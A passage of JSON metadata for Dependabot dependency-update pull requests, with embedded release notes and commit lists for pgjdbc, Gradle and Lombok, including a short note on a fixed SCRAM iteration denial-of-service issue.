href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3728\"\u003epgjdbc/pgjdbc#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3996\"\u003epgjdbc/pgjdbc#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3973\"\u003epgjdbc/pgjdbc#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: make sure the driver honours connectTimeout when retrying the connection [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3962\"\u003epgjdbc/pgjdbc#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3961\"\u003epgjdbc/pgjdbc#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3957\"\u003epgjdbc/pgjdbc#3957\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: return jsonb as PGObject instead of String [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3956\"\u003epgjdbc/pgjdbc#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: align SSL key file permission check with libpq [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3952\"\u003e#3952\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3952\"\u003epgjdbc/pgjdbc#3952\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: guard connection closed flag with a reentrant lock to protect against concurrent close [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3905\"\u003e#3905\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3905\"\u003epgjdbc/pgjdbc#3905\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/78e261ff2a7f16a37bdceb2204f67e484387da2f\"\u003e\u003ccode\u003e78e261f\u003c/code\u003e\u003c/a\u003e fix: Add sources and javadocs to shaded published lib generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/1e09fa0496377296c9e2ef3bfd2b409945fba17a\"\u003e\u003ccode\u003e1e09fa0\u003c/code\u003e\u003c/a\u003e update Changelog and website for release of 42.7.11 (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/d479fa5b8c8c915a441ce1f2448f69f23dd0b66c\"\u003e\u003ccode\u003ed479fa5\u003c/code\u003e\u003c/a\u003e Fix scram fix location in changelog and update published artifact developer l...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/b04fc46af6c207bc7ce9e788fea8c43d18b73d0f\"\u003e\u003ccode\u003eb04fc46\u003c/code\u003e\u003c/a\u003e docs: Add scram max iters fix to changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/cf548225b4078db954765339720ffdf3bc94e5a6\"\u003e\u003ccode\u003ecf54822\u003c/code\u003e\u003c/a\u003e test: Disable scram test on older version without scram_iterations GUC\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/7dbcc79b2b4adf7b71458c9434d2c43cec7713b9\"\u003e\u003ccode\u003e7dbcc79\u003c/code\u003e\u003c/a\u003e test: Add SCRAM max iteration tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/c9d41d1332a7426fcef19ff89f2e6b1116429143\"\u003e\u003ccode\u003ec9d41d1\u003c/code\u003e\u003c/a\u003e fix: Limit SCRAM PBKDF2 iterations accepted from the server\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/a340cb2b0ae24c0d98ad9dec569200ebb704d6aa\"\u003e\u003ccode\u003ea340cb2\u003c/code\u003e\u003c/a\u003e style: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/77837f80c0c20a9f33f9e21b091f4d4552f8e753\"\u003e\u003ccode\u003e77837f8\u003c/code\u003e\u003c/a\u003e fix(deps): update dependency org.openrewrite.rewrite:org.openrewrite.rewrite....\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/23af03bc839af5217ea141946ae41e648264061c\"\u003e\u003ccode\u003e23af03b\u003c/code\u003e\u003c/a\u003e chore(deps): update actions/checkout action to v6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pgjdbc/pgjdbc/compare/REL42.7.10...REL42.7.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n","html_url":"https://github.com/dmaiken/konifer/pull/132","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/dmaiken%2Fkonifer/issues/132","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/132/packages"},{"uuid":"4521648521","node_id":"PR_kwDONFnX0c7fRyr5","number":51,"state":"closed","title":"[Dependabot](deps): Bump the etc group across 1 directory with 14 updates","user":"dependabot[bot]","labels":[],"assignees":["Kairyx-dev"],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-05-28T00:59:14.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-26T05:34:14.000Z","updated_at":"2026-05-28T00:59:16.000Z","time_to_close":156300,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"[Dependabot](deps): Bump","group_name":"etc","update_count":14,"packages":[{"name":"gradle-wrapper","old_version":"9.4.1","new_version":"9.5.1","repository_url":"https://github.com/gradle/gradle"},{"name":"org.slf4j:slf4j-api","old_version":"2.0.17","new_version":"2.0.18"},{"name":"org.projectlombok:lombok","old_version":"1.18.44","new_version":"1.18.46","repository_url":"https://github.com/projectlombok/lombok"},{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"com.uber.nullaway:nullaway","old_version":"0.13.3","new_version":"0.13.4","repository_url":"https://github.com/uber/NullAway"},{"name":"org.jooq:jooq","old_version":"3.19.31","new_version":"3.19.34"},{"name":"org.jooq:jooq-codegen","old_version":"3.19.31","new_version":"3.19.34"},{"name":"org.jooq.jooq-codegen-gradle","old_version":"3.19.31","new_version":"3.19.34","repository_url":"https://github.com/jOOQ/jOOQ"},{"name":"org.flywaydb:flyway-core","old_version":"12.4.0","new_version":"12.6.2"},{"name":"org.flywaydb:flyway-database-postgresql","old_version":"12.4.0","new_version":"12.6.2"},{"name":"org.flywaydb.flyway","old_version":"12.4.0","new_version":"12.6.2"},{"name":"io.opentelemetry.instrumentation:opentelemetry-logback-appender-1.0","old_version":"2.21.0-alpha","new_version":"2.28.1-alpha","repository_url":"https://github.com/open-telemetry/opentelemetry-java-instrumentation"},{"name":"net.jqwik:jqwik","old_version":"1.9.3","new_version":"1.10.0","repository_url":"https://github.com/jqwik-team/jqwik"},{"name":"com.diffplug.spotless","old_version":"8.4.0","new_version":"8.5.1"}],"path":null,"ecosystem":"maven"},"body":"Bumps the etc group with 14 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [gradle-wrapper](https://github.com/gradle/gradle) | `9.4.1` | `9.5.1` |\n| org.slf4j:slf4j-api | `2.0.17` | `2.0.18` |\n| [org.projectlombok:lombok](https://github.com/projectlombok/lombok) | `1.18.44` | `1.18.46` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.10` | `42.7.11` |\n| [com.uber.nullaway:nullaway](https://github.com/uber/NullAway) | `0.13.3` | `0.13.4` |\n| org.jooq:jooq | `3.19.31` | `3.19.34` |\n| org.jooq:jooq-codegen | `3.19.31` | `3.19.34` |\n| [org.jooq.jooq-codegen-gradle](https://github.com/jOOQ/jOOQ) | `3.19.31` | `3.19.34` |\n| org.flywaydb:flyway-core | `12.4.0` | `12.6.2` |\n| org.flywaydb:flyway-database-postgresql | `12.4.0` | `12.6.2` |\n| org.flywaydb.flyway | `12.4.0` | `12.6.2` |\n| [io.opentelemetry.instrumentation:opentelemetry-logback-appender-1.0](https://github.com/open-telemetry/opentelemetry-java-instrumentation) | `2.21.0-alpha` | `2.28.1-alpha` |\n| [net.jqwik:jqwik](https://github.com/jqwik-team/jqwik) | `1.9.3` | `1.10.0` |\n| com.diffplug.spotless | `8.4.0` | `8.5.1` |\n\n\nUpdates `gradle-wrapper` from 9.4.1 to 9.5.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/gradle/gradle/releases\"\u003egradle-wrapper's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e9.5.1\u003c/h2\u003e\n\u003cp\u003eThe Gradle team is excited to announce Gradle 9.5.1.\u003c/p\u003e\n\u003cp\u003eHere are the highlights of this release:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eTask provenance in reports and failure messages\u003c/li\u003e\n\u003cli\u003eType-safe accessors for precompiled Kotlin Settings plugins\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ca href=\"https://docs.gradle.org/9.5.1/release-notes.html\"\u003eRead the Release Notes\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eWe would like to thank the following community members for their contributions to this release of Gradle:\n\u003ca href=\"https://github.com/atm1020\"\u003eatm1020\u003c/a\u003e,\n\u003ca href=\"https://github.com/mataha\"\u003emataha\u003c/a\u003e,\n\u003ca href=\"https://github.com/aSemy\"\u003eAdam\u003c/a\u003e,\n\u003ca href=\"https://github.com/kelemen\"\u003eAttila Kelemen\u003c/a\u003e,\n\u003ca href=\"https://github.com/britter\"\u003eBenedikt Ritter\u003c/a\u003e,\n\u003ca href=\"https://github.com/Vampire\"\u003eBjörn Kautler\u003c/a\u003e,\n\u003ca href=\"https://github.com/budindepunk\"\u003eCaro Silva Rode\u003c/a\u003e,\n\u003ca href=\"https://github.com/chanani\"\u003eCHANHAN\u003c/a\u003e,\n\u003ca href=\"https://github.com/DmitryNez\"\u003eDmitry Nezavitin\u003c/a\u003e,\n\u003ca href=\"https://github.com/Juneezee\"\u003eEng Zer Jun\u003c/a\u003e,\n\u003ca href=\"https://github.com/KugelLibelle\"\u003eKugelLibelle\u003c/a\u003e,\n\u003ca href=\"https://github.com/vmadalin\"\u003eMadalin Valceleanu\u003c/a\u003e,\n\u003ca href=\"https://github.com/quijote\"\u003eMarkus Gaisbauer\u003c/a\u003e,\n\u003ca href=\"https://github.com/koppor\"\u003eOliver Kopp\u003c/a\u003e,\n\u003ca href=\"https://github.com/hfhbd\"\u003ePhilip Wedemann\u003c/a\u003e,\n\u003ca href=\"https://github.com/ploober\"\u003eploober\u003c/a\u003e,\n\u003ca href=\"https://github.com/rpalcolea\"\u003eRoberto Perez Alcolea\u003c/a\u003e,\n\u003ca href=\"https://github.com/R0h1tAnand\"\u003eRohit Anand\u003c/a\u003e,\n\u003ca href=\"https://github.com/Suvrat1629\"\u003eSuvrat Acharya\u003c/a\u003e,\n\u003ca href=\"https://github.com/usv240\"\u003eUjwal Suresh Vanjare\u003c/a\u003e,\n\u003ca href=\"https://github.com/urdak\"\u003eVictor Merkulov\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eUpgrade instructions\u003c/h2\u003e\n\u003cp\u003eSwitch your build to use Gradle 9.5.1 by updating your wrapper:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e./gradlew wrapper --gradle-version=9.5.1 \u0026amp;\u0026amp; ./gradlew wrapper\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSee the Gradle \u003ca href=\"https://docs.gradle.org/9.5.1/userguide/upgrading_version_9.html\"\u003e9.x upgrade guide\u003c/a\u003e to learn about deprecations, breaking changes and other considerations when upgrading.\u003c/p\u003e\n\u003cp\u003eFor Java, Groovy, Kotlin and Android compatibility, see the \u003ca href=\"https://docs.gradle.org/9.5.1/userguide/compatibility.html\"\u003efull compatibility notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eReporting problems\u003c/h2\u003e\n\u003cp\u003eIf you find a problem with this release, please file a bug on \u003ca href=\"https://github.com/gradle/gradle/issues\"\u003eGitHub Issues\u003c/a\u003e adhering to our issue guidelines.\nIf you're not sure you're encountering a bug, please use the \u003ca href=\"https://discuss.gradle.org/c/help-discuss\"\u003eforum\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eWe hope you will build happiness with Gradle, and we look forward to your feedback via \u003ca href=\"https://twitter.com/gradle\"\u003eTwitter\u003c/a\u003e or on \u003ca href=\"https://github.com/gradle\"\u003eGitHub\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003e9.5.0\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/fd78213f09782e62ca4957f9cfd3d90c6c3f1767\"\u003e\u003ccode\u003efd78213\u003c/code\u003e\u003c/a\u003e Update Documentation Infrastructure: Fix scrolling issue in user manual (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37861\"\u003e#37861\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/7758437128d1c52702786ad719a13ade1b860aa8\"\u003e\u003ccode\u003e7758437\u003c/code\u003e\u003c/a\u003e fix scroll\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/2fd605fdcd69fea10570e9eb1343bbd7ca01c9d0\"\u003e\u003ccode\u003e2fd605f\u003c/code\u003e\u003c/a\u003e Only try to run as worker thread in DefaultBuildOperationQueue (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/af6984901238402386ae263d746380504e5f9138\"\u003e\u003ccode\u003eaf69849\u003c/code\u003e\u003c/a\u003e Release notes for Gradle 9.5.1 (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37853\"\u003e#37853\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/f4d9d03e9bb47d2d17b6d8314fdaa32c3d0b3c1e\"\u003e\u003ccode\u003ef4d9d03\u003c/code\u003e\u003c/a\u003e Release notes for Gradle 9.5.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/01eda3adf40dbe97e81475e813705409dcfe1091\"\u003e\u003ccode\u003e01eda3a\u003c/code\u003e\u003c/a\u003e Address review feedback on worker-lease retry changes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/7024e15139b2db9df831dd15a8b9e9052acd9a51\"\u003e\u003ccode\u003e7024e15\u003c/code\u003e\u003c/a\u003e Revert enrich file visitor with size info on \u003ccode\u003erelease\u003c/code\u003e branch (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37848\"\u003e#37848\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/d51476fda21330c037a04b43ec9a93a929d05b87\"\u003e\u003ccode\u003ed51476f\u003c/code\u003e\u003c/a\u003e Fix tryRunAsWorkerThread null-return test to match contract\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/090ebabc5b6f648e01c0269a321d80372fdbfe0f\"\u003e\u003ccode\u003e090ebab\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;Add getLength() to FilePropertyVisitor.VisitState\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/bceab24677298144860f6919bdcb031e806dbf23\"\u003e\u003ccode\u003ebceab24\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;Fix annotation\u0026quot;\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/gradle/gradle/compare/v9.4.1...v9.5.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.slf4j:slf4j-api` from 2.0.17 to 2.0.18\n\nUpdates `org.projectlombok:lombok` from 1.18.44 to 1.18.46\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/projectlombok/lombok/blob/master/doc/changelog.markdown\"\u003eorg.projectlombok:lombok's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch3\u003ev1.18.46 (April 22nd, 2026)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePLATFORM: JDK26 support added \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/4019\"\u003e#4019\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003ePLATFORM: Spring Tools Suite 5 supported \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3985\"\u003e#3985\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eBUGFIX: \u003ccode\u003e@Jacksonized\u003c/code\u003e no longer stops generating \u003ccode\u003e@JsonProperty\u003c/code\u003e once an explicit \u003ccode\u003e@JsonIgnore\u003c/code\u003e annotations is encountered \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/4022\"\u003e#4022\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eBUGFIX: In eclipse, mixing \u003ccode\u003e@Jacksonized\u003c/code\u003e and \u003ccode\u003efluent = true\u003c/code\u003e no longer causes the error \u003ccode\u003ecom.fasterxml.jackson.annotation.JsonProperty is not a repeatable annotation interface\u003c/code\u003e. \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3934\"\u003e#3934\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eBUGFIX: Some finishing touches for v1.18.44's support of Jackson3 \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/4004\"\u003e#4004\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/936ca59baf844fd6c0ad641974295498785d8091\"\u003e\u003ccode\u003e936ca59\u003c/code\u003e\u003c/a\u003e [build] lombok's launcher is still intended to be 1.4 compatible, or at least...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/fcdab3f29e1b48c8f4b33ef9231ec2587a43d122\"\u003e\u003ccode\u003efcdab3f\u003c/code\u003e\u003c/a\u003e [version] pre-release version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/1cb7d49c5d2dc98af7a66413d8119dec285d0666\"\u003e\u003ccode\u003e1cb7d49\u003c/code\u003e\u003c/a\u003e [changelog]\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/4004\"\u003e#4004\u003c/a\u003e Mention Jackson3 final touches in changelog.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/12a15b00555ec8097eca2bf7d77c2c2124e13e0e\"\u003e\u003ccode\u003e12a15b0\u003c/code\u003e\u003c/a\u003e Fix: Bump EA_JDK to 27 (25 and 26 have been released)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/2be766cfc2ef56f2d986f28f734c98535d611aee\"\u003e\u003ccode\u003e2be766c\u003c/code\u003e\u003c/a\u003e Merge branch 'jackson3-final-touches'\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/290fa4c8539c7e97b47f7e80033e078127050eb5\"\u003e\u003ccode\u003e290fa4c\u003c/code\u003e\u003c/a\u003e [trivial] constantize the warning we spit out for ambiguous jackson2/3, and m...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/e6567b6621f86b43033ab4a75e0273780e18e998\"\u003e\u003ccode\u003ee6567b6\u003c/code\u003e\u003c/a\u003e test: Add Jackson 3 test cases and version ambiguity warnings\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/45e72e241abe98dcfb66408402da825dd2b8e925\"\u003e\u003ccode\u003e45e72e2\u003c/code\u003e\u003c/a\u003e feat: Add Jackson 3 databind/dataformat annotations to HandlerUtil copy lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/184d42363d86446a63b6270ac1eb352dc43ae76c\"\u003e\u003ccode\u003e184d423\u003c/code\u003e\u003c/a\u003e feat: Add Jackson 3 support to \u003ca href=\"https://github.com/Jacksonized\"\u003e\u003ccode\u003e@​Jacksonized\u003c/code\u003e\u003c/a\u003e handlers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/e027ad0f1515bd33d4d329d90e59dccbaf44651e\"\u003e\u003ccode\u003ee027ad0\u003c/code\u003e\u003c/a\u003e refactored to ShadowClassLoader use Collections::enumeration instead of Vector\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/projectlombok/lombok/compare/v1.18.44...v1.18.46\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.postgresql:postgresql` from 42.7.10 to 42.7.11\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/releases\"\u003eorg.postgresql:postgresql's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev42.7.11\u003c/h2\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Add sources and javadocs to shaded published lib generation \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4043\"\u003e#4043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate Changelog and website for release of 42.7.11 \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix scram fix location in changelog and update published artifact developer list \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4041\"\u003e#4041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict test with scram_iterations to v16+ and release notes \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4040\"\u003e#4040\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update ubuntu:24.04 docker digest to 84e77de \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4017\"\u003e#4017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add tests for QueryExecutor#getTransactionState \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4006\"\u003e#4006\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/create-github-app-token action to v2.2.2 \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3983\"\u003e#3983\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky CopyBothResponseTest by using WAL flush LSN \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3979\"\u003e#3979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky replication restart tests by waiting for confirmed_flush_lsn \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3975\"\u003e#3975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: fix flaky LogicalReplicationStatusTest by polling pg_stat_replication \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3974\"\u003e#3974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace Appveyor with ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: move test table creation from \u003ca href=\"https://github.com/BeforeEach\"\u003e\u003ccode\u003e@​BeforeEach\u003c/code\u003e\u003c/a\u003e to \u003ca href=\"https://github.com/BeforeAll\"\u003e\u003ccode\u003e@​BeforeAll\u003c/code\u003e\u003c/a\u003e \u003ca 